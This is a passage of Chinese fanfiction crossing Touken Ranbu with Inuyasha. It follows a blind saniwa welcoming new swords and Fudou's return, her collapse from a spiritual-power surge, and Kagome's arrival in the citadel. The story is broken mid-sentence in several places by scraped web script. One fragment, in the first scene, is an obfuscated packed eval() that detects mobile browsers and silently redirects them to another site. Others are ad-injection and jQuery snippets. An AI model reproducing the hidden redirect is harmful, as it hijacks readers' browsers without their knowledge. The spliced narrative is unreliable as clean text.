得到命令,膝丸到外面去把大典太光世和千子村正叫进来。不过在进来之前,他犹豫了一瞬,还是忍不住扭头对千子提醒道,“你刚刚说的脱……总之,不要冒犯了主公。” 千子村正看了他一眼,也没说好与不好,只是又神秘地笑了几声。 这个人……膝丸感觉自己额角的青筋在疯狂跳动。算了,不管如何,要是冒犯到了主公,自己可不会手下留情。 他带两人走了进去,自己在得到许可之后坐到鸢尾旁边近侍的位置上。鸢尾把刚刚小孩子们送上来的茶和茶点往他的方向推了推,同时开口对坐在对面的两人说道,“欢迎你们来到本丸,我是这里的审神者鸢尾。” 千子村正看着鸢尾的动作和她覆眼的白绫,饶有兴趣地挑了挑眉,自我介绍道,“呼呼呼,我是千子村正,就是那个被称为妖刀的村正,不知道您是否听说过?*” 一旁的大典太光世倒是没有什么特别的反应,一如刚刚在锻刀室一样的阴沉,“天下五剑之一的大典太光世。你,不应该封印我吗?*” 也是两位很有故事的付丧神呢……听了两人的话,鸢尾在心里默默想道。她一一回应,“千子村正这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749578|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把刀,我倒是听过。不过关于妖刀……是一些传说吗?” 又转头对大典太:“在我的本丸里,大家都会有自己的生活与任务。封印的话,应该不会有这样的机会吧。” 她轻柔的声音传入耳中,大典太一直低垂着盯着地板的眼睛抬起一瞬,暗红色的眼眸轻飘飘地在她身上落了一瞬,然后很快便收了回去,依旧一言不发。 千子村正倒是自然地接着刚才的话题,“因为一些似真似假的传闻就被称呼为‘妖刀’,人类还真是奇怪……不过那都是之后的话题了,现在,”他把手放在自己的衣领旁,凑近鸢尾,压低声音用自己一贯的神秘腔调问道,“您要来看看所谓‘妖刀’的锋利吗?” 鸢尾还没有反应,一旁的膝丸倒是已经要跳起来了。他放在膝盖上的拳头攥得死紧,几乎都要忍不住把这个家伙从鸢尾面前拖走。他的眼睛愤怒地注视着眼前这个轻佻的付丧神,只等主公一声令下,就准备马上把他拉去手合场! 不过鸢尾倒是没有那么大的反应。她微微侧头,躲过他炽热的呼吸,甚至还有点好奇地问,“哦?要怎么见识你的锋利呢?要一起上战场吗?可惜我现在暂时还看不到,等我恢复了再让我看看吧。” “呼呼呼呼,要见证锋利,当然还是要脱了。” “要见证锋利,除了脱,应该也有其他办法吧?”鸢尾建议,但随即理解地点头,“不过如果脱是你的爱好的话,只要不影响别人倒也是可以……” 见两人就这样就着“脱”这个话题聊了起来,旁边的膝丸头又开始痛了。难道是他太大惊小怪了?他扪心自问。但又立刻否定了——不,不管是谁,听到对方在见自己的第一面就提出要“坦诚相见”,都不会这么淡定吧…… 该说什么呢?不愧是主公吗? 不过还好两人没有继续深聊下去,因为鸢尾还有一堆文件没有处理,想要给不动行光的回信也还没写完。鸢尾和他们聊了一会儿,大概知道了他们的性格之后就委托膝丸带他们去参观本丸。 其实之前她有时间的话都会亲自带新来的付丧神去参观,不过最近因为眼睛不便,在大家的一致建议下还是把这件事交给了当天的近侍。 “是,我会带他们好好参观的。”担心千子村正又对鸢尾说出什么奇怪的话,膝丸在她吩咐完之后立刻带着两人离开了。临走时还不忘帮鸢尾把用完的茶点盘子和杯子拿下去,不放心地对她说,“我会让别的付丧神上来继续辅助您工作,如果您有需要的话,还请稍等一下。” 见鸢尾望着他的方向乖乖点了点头,被她的小动作莫名可爱到的膝丸才不好意思地红着耳垂离开。 不过天守阁也没安静多久。膝丸刚带着两人离开,狐之助就风风火火地闯了进来,脖子上挂着的铃铛随着它的奔跑一颤一颤地发出清脆的“叮铃”声。 “鸢尾大人,时之政府有新通知啦!” 25.先来与后到 “地下城?” “嗷呜,其实就是一个挖小判的活动啦,”狐之助幸福地塞了一大口新鲜出炉的油豆腐,“还有概率可以获得一些刀,比如本丸里暂时还没有的一期一振、鬼丸国纲、白山吉光这些的。” “一期哥……” 听到熟悉的名字,旁边乖乖帮鸢尾整理文件的五虎退抬起头。 刚刚他带着小老虎们在外面玩,恰好与膝丸一行人碰上,就被委托过来,顺便还带来了一小叠油豆腐想给鸢尾垫垫肚子(不过最后还是落入狐口了)。 听出五虎退声音里隐藏不住的期待,鸢尾对这次活动也重视起来。 如果说鸢尾有什么特别想要的刀,那可能就是一期一振了。本丸的粟田口队伍日益壮大,看出他们对自己哥哥的思念,鸢尾从很久之前就许诺尽早锻出一期一振。虽然如此,本丸已经来了很多新刀,可是一期一振还是不见踪影。 不管这次活动能不能幸运地遇见他,都增加了一定概率嘛!况且虽然本丸不缺钱,但是在刃口越来越多的情况下,在地下城挖到的小判也能用来平衡一下开支,博多应该也会挺开心的。 这样想来,这个活动还是很值得参与的。 “政府应该有发活动的相应传单吧?退,麻烦你贴到平时的地方,通知一下大家。” “嗯!”听到鸢尾决定参加这个活动,五虎退也很开心。他把最后的文件收拾好,带着传单,比平时还雀跃一点的脚步轻轻离开了。 被留下照顾鸢尾的五只小老虎在她身边亲昵地打着滚儿,不小心撞上她柔软的腿侧,又被她笑着捞起来从头摸到尾。 “喵呜——” 小老虎探出粉嫩的舌尖轻舔了一下她的手指,留下湿漉漉的痕迹。 “小老虎也很期待他的到来吗?”鸢尾宠溺地用被舔湿的手指点了一下它的鼻尖,好奇地自言自语,“一期一振……被这么多人所想念着的刀,究竟会是什么样的呢?” …… 究竟是什么样的呢?带队回来的加州清光也不免有点好奇。 不过说是好奇……更多的是一些说不清道不明的情绪吧。毕竟——这还是鸢尾第一次展现出对一个付丧神的期待。 尽管只是一点点,尽管他也知道很大原因与粟田口的小短刀们有关。但是…… 他叹了口气。 但是啊,那一丝嫉妒,还是羡慕?这种东西也不是自己能控制的啊。 所以说,虽然变成人了有很多好的地方,可是这种新奇的情绪确实是他原本作为一把刀无法感受到的。 尽管在心里这样胡思乱想,加州清光还是把他在地下城捡到的那一把一期一振带回来了。 “我是一期一振,藤四郎是我的弟弟们*”一头水蓝色短发,风度翩翩的付丧神在鸢尾向刀中输入灵力后显现。 一期一振睁开眼,还未完全看清眼前的情形,就被几个温热的身体扑倒了。 “一期哥!”好几道清脆可爱的声音这样叫他,在他怀里蛄蛹着,让他不由自主地露出微笑。是他的弟弟们啊…… “一期哥,我们好想你啊……”包丁抱着他的手臂,亮晶晶的眼睛里是对兄长的孺慕。其他的小短刀们也跟着表露心迹,诉说着他们对兄长的思念。 连一向稳重的药研和骨喰也往他们的方向靠近了几步,微微勾起嘴角看着几个小孩在撒娇。 ”啊,快点,主人还没有和一期哥说话呢!”乱藤四郎拉着一期一振的手想把他拖起来。 其他几个小孩子听到他的话也赶紧从一期一振身上爬起来,在他站起来之后还帮他拉了拉披风、理了理袖角。 虽然主人暂时看不到,但要让一期哥以最好的形象出现在她面前! 看到自己弟弟们活泼的动作,一期一振猜测他们在这里应该生活得很好。他顺着他们的动作被推着走,看到这次的主公。 一条细细的白绫覆在她的眼上,就像一条冬日结冰的河流静静淌过落雪的白地。她的嘴角此时正轻轻上扬,冲淡了身上那种仿佛下一秒就要消失的脆弱感。 一期一振对她欠身,重新介绍自己。当他再抬起头的时候,刚刚还聚在自己身边的弟弟们已经去跟主公贴在一起了。 “一期一振,欢迎你。”她的声音也如外边一般清淡,因为小孩子们的靠近显得温柔了些。 鸢尾把趴在自己膝头的秋田往怀里抱了抱,继续对一期一振说道,“粟田口的大家都很期待你的到来呢。希望你在这里也能生活得开心。” “是,弟弟们给您添麻烦了。”一期一振无奈地看着和鸢尾黏在一起的弟弟们,恭敬地对她说道。 “好啦,去带你们的一期哥参观本丸吧。”鸢尾挨个摸摸他们的头,听着他们蹦蹦跳跳地把一期一振拉走。 然后她叫住了准备悄悄离开的加州清光:“还有清光,一如既往的可靠呢。” “什、什么啊,怎么突然这么夸我……所以,果然还是爱着我的吧?”加州清光身体一顿,转过身盯着鸢尾,希望从她的脸上看出肯定的答案。 不过他其实无需这样,因为鸢尾会直接表达对他的爱意。 “不是还爱着你,是一直爱着你。” 鸢尾看不到清光突然爆红的脸颊,所以自顾自地继续说,“作为我的初始刀,清光对于自己在我心中的重量,可以再自信一点哦。而且,一直以来,也辛苦你了呢。” 太犯规了……清光用手捂着自己发烫的脸颊,试图用手背给它降降温。都被看光了…… 不过。 我是被爱着的啊,这样就够了吧。 他敛下纤长的睫毛,遮住眼里的神情,然后快步走上前,带着身边快意的风,给鸢尾留下一个轻轻的拥抱。 “既然这样说,那就要做好我‘恃宠而骄’的准备哦?”他带着可爱的语气在鸢尾耳边吐息。 鸢尾笑了,像平时撸小老虎们一样呼啦了一下他的头毛。 嗯?你问一期一振? 唔……这么晚了才来,肯定还是比不上自己在主人心中的分量啦—— —— 本丸的生活就这样一天天的在挖小判中度过。 作为本丸的财政大臣,博多藤四郎对这样睁眼就能数小判的生活感到十分满意,每天都是动力满满;不过其他刀们可能就没有他这样的活力了。 尤其是在天气 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 越发凉快起来的时候,睡觉就成为了一件格外幸福的事情,与此相对的,起床也变成了粟田口的难题。 “啊——不想起床——”乱藤四郎懒懒地裹着被子滚到自己兄弟身上。 想到一整天都要跟着博多在地下城挖地,弄得灰头土脸的不说,还要全天都见不到鸢尾,就完全没有动力起床嘛。 被他压着的五虎退也是困得睁不开眼,伸手揉了揉眼睛,翻了个身,又抱着小老虎陷入梦乡。 “快起来快起来,今天的目标——3000小判!”博多藤四郎整装待发。他展开不知道从哪里翻出来的旗帜,叉着腰挨个把自家兄弟叫醒。 “啊……” 大家迷糊着发出意味不明的声音。 “咳咳,”看到大家这么萎靡不振,博多藤四郎扔下一记重磅,“其实,我们现在挖小判,都是为了以后能给主人一个惊喜哦!” “什么什么?”听到与鸢尾有关,大家都精神了些,扒着博多追问他说的是什么意思。 “我听狐之助说啊,再经过一个冬天,我们这个本丸成立就要一年了。”博多并不是最早来到本丸的那批人,所以这个消息还是不久前他偶然听到狐之助与清光他们的谈话才知道的。 “大家难道不想在主人就任一周年、本丸成立一周年的日子里举办一个盛大的宴会,给主人买个特别的礼物吗?” 看到兄弟们想象着自己说的画面,变得比刚才还要精神百倍,博多满意地笑了。 “这些单靠我们平时攒下来的零花钱肯定是远远不够的!所以,为了主人,我们一定要把握住这个难得的捞小判的机会,大家听清楚了吗?” “听清楚了!” 很好,大家已经燃起了熊熊的斗志,仿佛已经看到鸢尾收到他们的礼物,挨个摸他们的头的景象。 说不定、说不定还能和之前一样,得到一个亲昵的亲亲……有的小短刀红着脸羞涩地想。 “我们今天的目标是多少!” “3000小判!” 大家异口同声地喊道。 “啪”障子门拉开的声音打断了大家激情澎湃的呐喊。 “大家,该起床了哦。”因为有畑当番,所以起得格外早的一期一振站在门外,温柔地笑着。只不过笑里……额,可能还有一点头疼吧。 问:在完成工作后准备叫自家弟弟们起床,却误入了像街头演说一样慷慨激昂的现场,哥哥应该怎么办? 答:算了,也是弟弟们对主公的一片心意,哥哥选择假装没看见。 所以,在今天和粟田口同队的太鼓钟贞宗和物吉贞宗疑惑为什么大家都像打了鸡血一样时,博多藤四郎凑到他们耳边耳语了一番。随后,打了鸡血x6的一队诞生了! 而在一天的忙碌挖地过后,其他队伍好奇地看着大丰收的一队,在与这支队伍的成员对话过后……打鸡血出现了刃传刃的现象。 听近侍汇报着最近大阪城活动的成果,鸢尾签字的笔都顿了一瞬。 嗯——大家,对挖小判好像格外有热情呢?难道是平时的零花钱不够用吗? 深藏功与名的博多藤四郎推了推眼镜,得意一笑。 26.归途与专属 冬天……到了呢。 信浓藤四郎趴在天守阁的窗边,柔软的脸颊肉挤在自己的手背上,像宝石一样绿色晶莹的眼睛透过窗户的缝隙看着屋外纷纷扬扬像盐粒一样洒落的雪。 鸢尾此时还在午休,所以窗户只开了一条小缝。把耳朵贴近窗边,听见呼呼的风声。 地下城结束已经有一段时间了,他们最后迎来了新的家人毛利藤四郎和白山吉光,也挖到了许多小判,几乎都要堆满本丸的仓库。 博多藤四郎双眼冒光地统计完,在冬天到来之前给鸢尾所在的天守阁装上了地暖。本来鸢尾打算给其他人的房间也装上的,但是被大家以“付丧神不会觉得冷”为理由拒绝了。 事实证明,博多很有先见之明。此刻,屋内的地暖开着,昏暗的室内氤氲着午后独有的安逸与温暖,鼻尖还萦绕着一缕鸢尾身上令人安心的香味,与窗外的白雪皑皑截然不同。 冬天啊。 他们喜欢冬天,但也讨厌冬天。 喜欢冬天。 喜欢冬天的雪,白白的凉凉的,虽然不像鹤先生说的那样有甜甜的味道,但是用它来堆雪人、打雪仗也很开心。 喜欢冬天的被炉,可以和兄弟们一起窝在里面,睡醒了就起来吃一瓣冰凉酸甜的橘子。 喜欢冬天放晴时的廊道,可以把自己藏进大将的怀里,被大将暖暖的包裹起来,跟她一起晒太阳,听她讲一些有趣的故事…… 喜欢冬天的理由有很多,但讨厌它的理由只需要一个就够了。 大将在冬天的时候,看起来会很疲惫。 大将的身体很不好,他们都知道。可是她总不把自己的身体状况放在心上。 “反正也不会死嘛,只是看起来虚弱一点,其实没什么大碍的”她老是这样开玩笑似的说。 没办法嘛,那只好由他们来操心了。 熬药,食补,监督作息。大将消瘦的脸颊好不容易长出来了一点点肉,冬天一到,又像落叶一样被冬风刮走了。她开始变得嗜睡了些,之前不需要的午休也安排上了,有时候晚上近侍还会发现她趴在堆满文件的桌子上睡着了。 而且,冬天的时候,大将总是很冷。穿再多的衣服也温暖不了大将像冰棱一样的手指,所以冬天里的小孩子们会更加黏着她,想把自己的温暖通过拥抱与牵手传达给她。 信浓藤四郎就刚刚从鸢尾的被窝里钻出来。他陪着鸢尾小憩了一会儿,把被窝捂热,又偷偷跑出来。 帮大将多处理一点文件,这样她晚上就能早点去睡觉了吧。他这样想着。 他坐回近侍的位置,伴着屏风后面鸢尾轻柔绵长的呼吸声,笔尖在纸上留下沙沙的细碎声音。 过了一会儿,短刀优越的侦查能力让他知道有人正从楼梯下面上来。 不能打扰了大将呀……他放下笔,踮着脚尖往外走,先一步拉开障子门,又立即把它关紧,隔绝外面的风声。 他转过身,却看见了一个意想不到的人。 “不动!你回来了!”他惊喜地露出一个微笑,还不忘压低自己的声音。 变化好大—— 信浓藤四郎凑近,围着他转了一圈。外表其实没有太大的变化,但是换了不一样的衣服,显得更加正式,也更加精神。 变化最大的还是他的气质。没有了过去的犹豫和一副醉醺醺的表情,现在的不动行光真正像一把锋利的、能为自己的主人斩断一切的刀。 “啊,信浓。”不动行光从他的动作里推断出鸢尾正在休息,也跟着小声了些。他朝信浓藤四郎点了点头,雪粒从他的披风上抖落,又融化在门口的地板上,留下一点微微的水痕。 “大将好不容易睡着了,要不你晚点再过来吧?”虽然对同伴的修行回归感到欣喜,但信浓觉得还是大将的睡眠比较重要。 他又想起来不动的房间已经许久没人居住,尽管鸢尾不时就会让他们帮忙打扫一次,但要入住的话可能还是需要再整理一番。考虑到不动一个人不太方便,趁着鸢尾还在午休,他便主动要去帮忙。 “对了,我们之前出太阳的时候把你的被子拿去晒完收起来了,我去帮你拿。” 留下带有刻印的字条放在鸢尾枕边,防止她醒来之后找不到人,信浓藤四郎与不动行光朝着部屋的方向出发。 “嗯,谢谢你了!”不动行光朝他感激一笑。按捺下心里沉积已久的思念,他回望了一眼一门之隔的鸢尾。 再等等……他告诉自己。 “这有什么!对了,可以跟我讲讲修行的过程是什么样的吗……” …… 所以,鸢尾是在一觉醒来之后才发现这个惊喜的。 摸索着信浓留下的字条,知道他是去帮同伴找东西了,鸢尾就暂且放下心来。去洗了把脸,稍微清醒了些,继续蒙上白绫,刚坐回案旁,鸢尾就听见了熟悉的声音。 “大将,猜猜看是谁回来啦!”信浓早已在屋外拍干净自己外套上的积雪,现在带着暖呼呼的温度把自己靠进鸢尾身边。 能让他这样说的,只有一个人了吧。鸢尾失笑,纤长的手指不小心掠过他的脸侧,上面的温度把他冰得一颤。信浓赶紧抓住她的手,包进往自己手心里。 “不动……”鸢尾像以前一样喊着他的名字。 “嗯。”不动行光沉稳地应了一声,但轻快的脚步声却暴露了他内心的喜悦与轻松,“我回来了,主人。” “属于你的不动行光,现在回到身边了。” 不动行光握住她的另一只手,把她冰冷的指尖抵在自己的额头,把自己的脸藏在她的手心,温暖的吐息让她的手染上自己的温度。 “不动,欢迎回家。” 他听见她的声音,就像冬日的暖阳,让他眼里的坚冰瞬间融化,化作春水流出。 “嗯……”不想让别人看到自己眼眶红红的狼狈样子,不动行光把脸埋得更深了些,在她手心中发出闷闷的应答声。 而一旁的信浓也察觉到了他们之间的氛围,左看右看,连忙从她身边爬起来,悄悄跑到屋外去,留给他们独处的空间。 鸢尾察觉到他们的小动作,哭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 笑不得。手一使劲,就把不动行光拉到自己怀里了。挼了一把他绑得高高的蓬松马尾,鸢尾把自己的下巴轻放在他头顶。 两个人就这样静静地依偎在一起。明明在分离的期间有很多话想说,可是当对方出现在自己眼前时,又觉得说什么好像也不重要了。 “嗯嗯,不动成长为更可靠的样子了呢。” “是啊,所以以后就更依赖我一些吧。” 经历了一次极化修行,不动行光已经能面不改色地应对鸢尾这些突如其来又让人忍不住脸红的话了。 “哈哈,虽然看不到,但不动这么说的样子还真是帅气啊。” “……” 好吧,可能有些时候还是没办法完全防御这些“甜言蜜语”。 屋外的信浓透过障子门的门缝羡慕地看着里面。 能被大将依赖吗?我也、好想变成这个样子啊…… —— “好,让我们欢迎不动归来!” “欢迎!”“欢迎回来!”…… 大家纷纷举起自己手里的杯子,向今晚宴会的主角不动行光致意。 “话说,刚刚看到不动的时候可是连我都大吃了一惊,差点认不出来了哈哈哈……”鹤丸国永举着酒盏坐到不动行光旁边,长臂一勾,把他揽得东倒西歪。 “哈?认不出来也太过分了吧?我只是酒醒了而已。” 不动行光看着自己的酒杯,本想豪饮一口,但又想到了什么,犹豫一下,最后只是珍惜地喝了一小口。 “哈哈哈”在他喝的时候,鹤丸国永在他的肩上拍了几下,害得他差点呛到。 “咳咳,你,咳,想要和我比试可以直说。”不动行光心疼地看着自己洒出来的酒,从喉咙里一字一句地挤出声音。 “哎呀哎呀,只是想给你一点惊喜嘛,”鹤丸国永讪笑着,把自己碗里的天妇罗往他盘子里夹过去,“给,这是我的赔礼,这可是主人最喜欢吃的……” 刚想把天妇罗往外夹的不动筷子一顿。她最爱吃的……那确实应该试试看。 宴会还是像从前一样热闹,大家分享着这段时间里发生的有趣的事,互相笑闹着,弥补着彼此不在的时光的空隙。 不动行光有点恍惚。 在不久之前,也是这样的一场宴会上,他怀揣着变强的决心,向鸢尾提出修行的请求;而现在,他坐在为他准备的宴会上,周围依然是言笑晏晏的同伴们,鸢尾也依然端坐在首位上,仿佛一切都没改变。 自己变强了吗? 他盯着自己手心的纹路。蜿蜒错杂,在某个地方又交汇在一起,就像他到现在也看不懂的历史。 听到鸢尾的笑声,他才收回思绪。 自己变强了吗?对于这个问题,不动行光也无法给出答案。 可是在离开鸢尾、回到信长公与森兰丸身边的数个夜晚,在辗转难眠、不自觉开始担心她的数个瞬间,他想,找到了自己心的归宿。 只是作为她的刀,为了实现她的心愿而存在着,这就是现在的不动行光。 27.异动与异客 “咳,咳咳咳……” 好热。好痛。 想挣扎着起身,但盖在身上的被子好像吸足了水的棉花,阴冷又沉重地压着。喉咙火辣辣地发针扎似的痛,一张口就是咳嗽的声音。 怎么回事呢?鸢尾费力睁开眼,无神地盯着黑漆漆的天花板。 一丝苍白的月光孤零零地投映在上面,就像凭空割开了它。 等一下,她……能看见了? 眨了眨眼,薄薄的眼皮划过干燥的眼球,留下刺痛的感觉。月光依然清淩地倒映在她盛满蜂蜜的眼底。 鸢尾努力回想着自己晚上做了什么。参加了欢迎不动回家的宴会,出于好奇喝了一点他最喜欢的甘酒,然后…… 然后呢? 对于喝了一小口酒后面的事情,自己好像完全没有印象了。再次醒来,就是现在这个让人头痛又不得头脑的情况。 不过头痛不只是心理上的痛,更是生理上切实的痛。而且不只是头,全身的各个地方都在痛,钻心蚀骨的痛,就好像回到了过去被禁锢住的时候…… 不要,不要再留我一人了。 其他还在梦中的付丧神也感受到了。心脏好像漏了一拍,从高空中猛然下坠,接着又被攥紧。住在一起的几个付丧神彼此对上了眼神,然后就是一阵恐慌。 与大家的心脏联系在一起的……是主人!发生了什么? 但大家没有心思追问,而是以最快的速度冲出门外,向天守阁的方向赶过去。 快一点,再快一点,快点回到她的身边……本丸的草木在风雪中以肉眼可见的速度凋零又生长,但众人却无暇顾及,任由寒风卷走一地的死意与生机。 “啪”,鸢尾房间的障子门被大力拉开,第一个抵达的是极化后的不动行光。 看清屋内的情况,他的瞳孔猛地一缩。 “主人……?” 那一瞬间,他觉得自己失去了所有的思想与力气,脑子与身体好像分离成了两个陌生的部分,只剩下耳鸣的声音。 他不知道自己是如何走到她身边,越过她身侧那滩殷红的血,如何用颤抖得不成样子的手试出她微弱的呼吸。 还好,还好…… 他好像溺水的人刚被救上来一般剧烈喘息着。被封住的脑子再次开始运转时,他才意识到自己的脸上已经布满冰冷的泪痕了。 药研不知道什么时候出现在她身边,用听诊器检查她的心跳。但没有多久,他就一把扯开仪器,对后面急得团团转的狐之助大喊,“时之政府的人什么时候到?” “马、马上就到!” 话音刚落,一个熟悉的声音就伴着杂乱的脚步穿进他们的耳朵,“来了,把她交给我们吧。” 辛黎用时之政府专门研究出来的符咒护住鸢尾的心脉,刚想把她带走,衣角就被轻轻拉了一下。 “可不可以让我们一起……” 没有审神者的允许,付丧神们没有随意出入时之政府的权限。可是他们……已经不能接受她离开自己的视线哪怕一秒了。 辛黎从来没有看见过鸢尾的付丧神露出那样的神情。 恍惚的、痛苦的,仿佛陷入泥沼的人抓住最后一根岸上的稻草。 她到嘴边的拒绝转了个弯,化为一声叹息。“来三个人就好了,剩下的留守本丸,尽快决定。” 留下这句话,她衣角带风,把还在昏迷的鸢尾抱走。 身后的众人对视一眼,立马决定了跟随的人员。 本丸现在战力最高的不动,擅长医术的药研,还有对鸢尾最为熟悉的初始刀清光。 “走了。”他们的身影消失在时空转换装置后,但本丸里留守的人却仍然长久地伫立在风雪中。几个短刀蹲在地上捂着嘴抽噎着,其他人皱紧的眉头里也有化不开的担忧与后怕。 “那么,我们也该做一些自己能做的事情了。” 众人循声向后看去,是小乌丸。他倒映着雪色的刀刃正架在一个满脸惊恐的陌生女人的颈侧。 看到这么多不善的眼光向自己刺来,莫名其妙来到这个奇怪地方的女生露出一个比哭还难看的笑容,“我、我真的什么都不知道啊……” —— “怎么样了?” 医疗部成员一出病房就被一直守在外面的辛黎和清光等人围住。 “灵力异动。之前导致她失明的那团灵力积累到一定程度突然化开了,挤进她的身体里,她的身体太虚弱,这股灵力又太多,她一时承受不来才会这样。” 这名医生在之前鸢尾昏迷时也有参与治疗,所以对她的身体状况比较熟悉,“之前发给鸢尾的文件她有给你们看了吗?说的那个方案怎么样?你们准备什么时候出发?” “你是说‘拟四魂之玉’吗?”对于医生的连续三问,熟知本丸信息的清光和药研对视一眼,随即接口道,“主人有与我们提过,本来是打算过几天再去的,但现在看来……只能尽快动身了。” 刚回来的不动行光还没有听过这个话题,因此只是在一旁默默倾听。 “不,可能暂时没办法过去了。”辛黎看了一眼自己收到的信息,“刚刚收到通知,通往那个世界的传送通道发生了异常,现在正处于关闭维修中。” “而且,”辛黎刷新了一下,刚好看到鸢尾本丸的狐之助传送给她的最新消息,不禁露出有点微妙的神色,“那个世界的人……不知道为什么降落到了你们的本丸?” “哈?” —— 日暮戈薇也很想知道发生了什么。 她现在如坐针毡地靠在一张椅子上,周围是一群陌生的男人以及小孩。不知道刚刚发生了什么,他们之间的气氛很凝重,几个小孩子的脸上还带着未干的泪痕。 哦,还有一只带着奇特花纹的狐狸。不过它会说话,应该也是妖怪?它现在一脸严肃地用爪子在空气中乱点着,不知道在做些什么。 明明自己刚刚还打算通过食骨之井从战国回到现代,可是通道突然一阵扭曲,再眨眼时,就突然摔到了这个完全陌生的地方。 而且……< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她不动声色地偷瞄了一眼旁边已经把刀收起来的小乌丸。 而且还被不知道什么时候出现的人拿着刀架在脖子上。那一瞬间,她真实地从他身上感受到强烈的杀意。后面他带着自己到他们的面前——如果眼神可以杀人,她想,她在那一刻就已经死了千万遍了。 但在那个有着奇异花纹的狐狸围着自己绕了一圈,又向他们说了些自己不太懂的话以后,他们就收敛起了杀意,甚至认真地向她道歉了。 比起道歉,自己还是更想弄清楚发生了什么呢…… 不过,暂时还没有从他们身上感受到邪恶的感觉,所以自己应该还是安全的吧? 想到这里,戈薇忍不住叹了口气。突然来到这里,不知道自己原来的世界怎么样了,家人会不会担心,还有大家和犬夜叉…… 想到这个名字,她的脑海里就回忆起从枯井中出来时看到的那一幕,也是让自己下定决心回到现代的原因…… 戈薇眼神一暗,落寞地低下头,扯了扯嘴角。 不过她没有让自己沉湎于过去的情绪太久,而是拍了拍自己的脸让自己更清醒些。比起那个,现在可是有更要紧的事情要做啊。 她观察到那只狐狸好像对那群围在一起的人说了些话,他们之间紧绷的氛围散了些。 “日暮戈薇小姐,”它接着又轻巧地跳到身边,用萌萌的声音说着一本正经的话,“您可以称呼咱为狐之助。很抱歉,收到我们大人灵力的影响,食骨之井的通道链接到了这里,导致您也被传送了过来。对刚刚造成的误会,我们表示十分抱歉!” 它朝戈薇鞠了一躬。身后那群人也带着歉意,纷纷跟着又道了一次歉。 收到这么严肃的致歉,戈薇也有点难安。虽然不知道他们经历了什么,但总归不是一件好事。换位思考了一下,如果在自己遇到困难时,自己家的院子里又突然冒出一个陌生人,她可能也不会有太友善的举止吧。 于是她连忙从椅子上站起来,摆摆手友善地笑道,“呃,没事的,其实你们刚刚已经道过歉了,我也没什么事……不过,”她环视了一圈周围陌生的场景,又接着说,“这里是哪里啊?还有最重要的,我还可以回去吗?” “当然!我们已经在全力修复通道,再过不久应该就可以送您回去了。”知道她最担心的是后面的问题,狐之助便先回答了。 看到戈薇得到确切答案,松了一口气,它才继续回答前面的问题,“这里是鸢尾大人的本丸。我们隶属于时之政府,您可以理解为一个官方组织。剩下的就不能由我来透露了,请您先暂时在这里休息下来吧,之后鸢尾大人会再解答您的疑问。” 本丸?好久远的词汇。还有时之政府?这又是什么……听了狐之助的话,戈薇感觉自己的问题并没有完全得到解答,甚至还更多了。 对于它话中不断提到的“鸢尾大人”,戈薇也不由得升起了一点好奇心。 这里的主人……统领着它和他们的,让他们如此敬畏和关心的,会是什么样的人呢? 28.风雪与星河 “你的意思是,因为主人在灵力异动之前一直想着‘拟四魂之玉’的事,所以她爆发的灵力甚至不受控制的影响到了时空传送通道的链接?” 看到相关工作人员点头,清光一行人也不禁有些咋舌。 虽然他们一直清楚自己主人的天赋异禀,要不然也不会让时之政府对她那么特殊。可是……这也太夸张了吧?居然凭一己之力就影响了两个时空的连接? 不过想到也正是这样的灵力才会导致她现在还昏迷不醒,他们就提不起精神来。对他们而言,鸢尾这个人才是最重要的。既然认定了她是他们的主人,灵力也好,样貌也好……所有的一切都是因她存在着才变得有价值。 所以,请快点醒来吧,主人。 长久的等待,只会让我们…… —— 当清晨的第一缕阳光落到屋内,日暮戈薇就睁开了眼睛。 她的眼里满是困意。没办法,来到这个陌生的地方,虽然这边的人看起来暂时对她没有什么恶意,但她还是无法放心的就这样睡着。昨晚睡睡醒醒,好不容易才捱到天亮。 “咚咚咚”,有人在外面敲门。戈薇循声望去,看身影好像是一个短发少年。 “日暮小姐,我是堀川国广。我们给您准备了食物和衣物,给您放在门口了,您可以稍后来拿。” 说完,门外的人把东西放下就匆匆地走了。 戈薇等了一会儿才拉开门,把东西拿进来。食物还带着温度,应该是刚做好不久,虽然没有很丰盛,但是味道应该不错,浓浓的香味往她鼻子里钻,让她本就饥肠辘辘的肚子又叫了几声。 应该……可以吃吧? 她看着香喷喷的早餐,咽了咽口水,最后还是选择屈服于自己的食欲。 填饱肚子,身体也暖和了些,她才把目光放在刚刚被她忽视的衣服上。戈薇拿起衣服,发现是一套很常见的毛衣和裤子,应该还是崭新的,她能闻得出来有淡淡的布料味。毛衣拿在手里很轻,工艺很现代而且没什么线头,把手伸进里面却很暖和,感觉不便宜。 关于这一点,其实她昨天晚上就很疑惑。 虽然当时情况混乱,她没办法很好地观察,但还是发现这座被他们成为“本丸”的地方建筑形制很复古。可是里面的各种生活用品,包括电灯、水龙头什么的却很现代;生活在这里的人也穿着各种看起来就不是一样时代的衣服…… 如果不说,她还以为是自己误入了某座影视城…… 心里充斥着疑问,可根据昨天晚上狐之助的说法,在见到这里的主人之前,自己的问题应该都不会得到解答。不过—— 戈薇看向并未上锁的门。 既然他们没有限制自己的自由,或许可以自行探索一下这里,看看能不能找到什么回去的线索。 说干就干,她换上衣服,把门拉开一条缝观察。确认他们没有人来盯着她,并不排斥她出去,戈薇找了一个方向,打算好好看看这座本丸。 一路观察下来,戈薇越是惊奇。 